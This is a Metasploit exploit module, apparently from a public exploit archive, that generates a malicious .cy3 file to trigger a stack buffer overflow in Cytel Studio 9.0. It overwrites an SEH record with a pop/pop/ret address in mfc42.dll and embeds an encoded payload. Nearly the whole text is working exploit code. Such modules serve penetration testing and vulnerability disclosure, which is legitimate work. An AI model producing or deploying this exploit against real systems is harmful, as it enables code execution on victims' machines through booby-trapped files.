Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow

`##  
# $Id: cytel_studio_cy3.rb 14041 2011-10-24 01:39:11Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow',  
'Description' => %q{   
This module exploits a stack based buffer overflow found  
in Cytel Studio <= 9.0. The overflow is triggered during the  
copying of strings to a stack buffer of 256 bytes.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[   
'Luigi Auriemma', # Initial Discovery/PoC  
'James Fitts' # Metasploit Module (Thx Juan & Jeff)  
],  
'Version' => '$Revision: 14041 $',  
'References' =>  
[  
[ 'OSVDB', '75991' ],  
[ 'BID', '49924' ],  
[ 'URL', 'http://aluigi.altervista.org/adv/cytel_1-adv.txt' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'DisablePayloadHandler' => 'true',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
# File version 8.0.0.1  
'Cytel Studio 9.0',   
{   
'Ret' => 0x73e58e01, # p/p/r mfc42.dll   
'Offset' => 500  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 02 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.cy3']),  
], self.class)  
end  
  
def exploit  
cy3 = "90\n150 1\n1\test\n"  
cy3 << rand_text_alpha_upper(target['Offset'])  
cy3 << generate_seh_record(target.ret)  
cy3 << rand_text_alpha_upper(8)  
cy3 << payload.encoded  
cy3 << rand_text_alpha_upper(5000 - cy3.length)  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(cy3)  
end  
end  
  
=begin  
During testing, the offset for Jeff was different. But the three of us have NOT  
been unable to reproduce the same problem. All this was tested on:  
XP SP3, Vista SP0/SP1, Win 7  
=end  
`